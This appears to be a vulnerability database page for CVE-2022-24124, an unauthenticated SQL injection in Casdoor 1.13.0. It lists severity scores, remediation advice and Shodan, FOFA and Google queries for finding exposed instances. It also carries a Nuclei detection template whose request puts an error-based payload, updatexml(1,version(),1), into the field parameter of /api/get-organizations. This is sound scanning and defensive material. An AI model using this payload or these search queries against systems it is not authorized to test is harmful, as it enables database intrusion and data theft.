SecurityContext

CVE-2022-24124: Casdoor 1.13.0 - Unauthenticated SQL Injection

Classification

  • Cwe: CWE-89
  • Cvss score: 7.5
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Epss score: 0.55295
  • Epss percentile: 0.99054
  • Cpe: cpe:2.3:a:casbin:casdoor:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: title="casdoor"
  • Google-query: intitle:"casdoor"
  • Max-request: 1
  • Product: casdoor
  • Shodan-query: http.title:"Casdoor", http.title:"casdoor"
  • Vendor: casbin

Products

ProductIndexedUrl
casbin:casdooryes/v1/products/casbin/casdoor

Labels

  • Name: Casdoor - SQL Injection
  • Impact: Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or full database compromise.
  • Remediation: Update to version 1.13.1 or later.
  • Vulnerability type: sql_injection
  • Vulnerability impact: information_disclosure, data_tampering
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2022-24124
  • Not known: requirements

```yaml

id: CVE-2022-24124

info:

name: Casdoor 1.13.0 - Unauthenticated SQL Injection

author: cckuailong

severity: high

description: Casdoor version 1.13.0 suffers from a remote unauthenticated SQL injection vulnerability via the query API in Casdoor before 1.13.1 related to the field and value parameters, as demonstrated by api/get-organizations.

impact: |

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.

remediation: |

Upgrade to a patched version of Casdoor or apply the necessary security patches to mitigate the SQL injection vulnerability.

reference:

- https://packetstormsecurity.com/files/166163/Casdoor-1.13.0-SQL-Injection.html

- https://www.exploit-db.com/exploits/50792

- https://github.com/cckuailong/reapoc/tree/main/2022/CVE-2022-24124/vultarget

- https://nvd.nist.gov/vuln/detail/CVE-2022-24124

- https://github.com/casdoor/casdoor/compare/v1.13.0...v1.13.1

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

cvss-score: 7.5

cve-id: CVE-2022-24124

cwe-id: CWE-89

epss-score: 0.55295

epss-percentile: 0.99054

cpe: cpe:2.3:a:casbin:casdoor:*:*:*:*:*:*:*:*

metadata:

max-request: 1

vendor: casbin

product: casdoor

shodan-query:

- http.title:"Casdoor"

- http.title:"casdoor"

fofa-query: title="casdoor"

google-query: intitle:"casdoor"

tags: cve,cve2022,sqli,unauth,packetstorm,edb,casdoor,casbin,vuln

http:

- method: GET

path:

- "{{BaseURL}}/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),1)"

matchers-condition: and

matchers:

- type: regex

part: body

regex:

- "XPATH syntax error.*&#39"

- "casdoor"

condition: and

- type: status

status:

- 200

digest: 4b0a004830460221009ce8afcca2ce18dc203fe34d353463e98c0c8305917c8edb37b65fe4ce4cb5d5022100a2ea4bd52bbdf6926689795bee23acad0aefd449cd5a8357f709a2e1ac9140f7:922c64590222798bb761d5b6d8e72950

```